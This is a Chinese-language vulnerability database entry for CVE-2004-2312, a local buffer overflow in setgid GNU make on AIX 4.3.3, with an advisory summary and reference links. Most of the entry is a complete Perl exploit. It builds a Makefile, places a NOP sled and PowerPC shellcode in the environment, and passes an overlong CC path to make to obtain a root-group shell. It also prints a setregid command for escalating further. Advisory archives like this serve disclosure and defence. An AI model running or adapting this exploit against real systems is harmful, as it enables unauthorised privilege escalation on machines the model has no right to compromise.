AIX Make CC路径本地缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107360 漏洞类型 边界条件错误
发布时间 2003-05-30 更新时间 2006-01-25
CVE编号 CVE-2004-2312 CNNVD-ID CNNVD-200412-399
漏洞平台 AIX CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/23838
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-399
|漏洞详情
IBMAIX是一款商业性质UNIX操作系统。AIXmake读取CC编译器路径时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可以root组权限在系统上执行任意指令。提交超长CC编译器路径参数给make执行,可导致缓冲区溢出,精心构建提交数据可能以root组权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/9903/info

GNU make for IBM AIX has been reported to be prone to a buffer overflow vulnerability, the issue is reported to exist due to a lack of sufficient boundary checks performed when reading the path to the CC compiler.

Because the GNU make utility is reported to run with setGID root privileges, a local attacker may potentially exploit this condition to gain access to the root group.

This issue is reported to exist on AIX 4.3.3 platforms.

#!/usr/bin/perl
# FileName: x_make_aix433_limited.pl
# Exploit /usr/local/bin/make of Aix4.3.3 to get a gid=0 shell.
# Tested    on low version of Aix4.3.3. 
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org (EN)  / www.xfocus.net (CN)
# Date    : 2003-5-30
# Announce: use as your owner risk!

$CMD="/usr/local/bin/make";
$_=`/usr/bin/oslevel`;

$XID="\x03";
@GID_LIST=(248,247);

print "\n\nExploit $CMD for Aix 4.3.3 to get gid=0 shell.\n";
print "From: [ www.xfocus.org 2003-5-30 ].\n\n";
print "Note :use this command to get gid=0 after egid=0 :\n";
print "/usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n";

$str="k:k.c\n\t\${CC} k.c\n\t";
open  mfd,">Makefile" or die "open file Makefile for write error!\n";
open  kfd,">k.c"     or die "open file .k.c for write error!\n";
print mfd $str,  print kfd $str;
close mfd, close kfd;

$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();

foreach $GID ( @GID_LIST) {
  $ENV{CCC}=$NOP.&getshell($XID,chr($GID));
  system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300;
}

unlink "Makefile","k.c";

#sub
sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
  $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
  $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
  $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
  $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
  $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
  $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
  return $SHELL;
}
#EOF
|参考资料

来源:SECUNIA
名称:11158
链接:http://secunia.com/advisories/11158/
来源:XF
名称:aix-make-cc-bo(15554)
链接:http://xforce.iss.net/xforce/xfdb/15554
来源:BID
名称:9903
链接:http://www.securityfocus.com/bid/9903
来源:OSVDB
名称:4391
链接:http://www.osvdb.org/4391
来源:FULLDISC
名称:20040323Re:AIX4.3.3hasmakesgid0?
链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-03/1124.html
来源:FULLDISC
名称:20040322AIX4.3.3hasmakesgid0?
链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-03/0997.html
来源:NSFOCUS
名称:6188
链接:http://www.nsfocus.net/vulndb/6188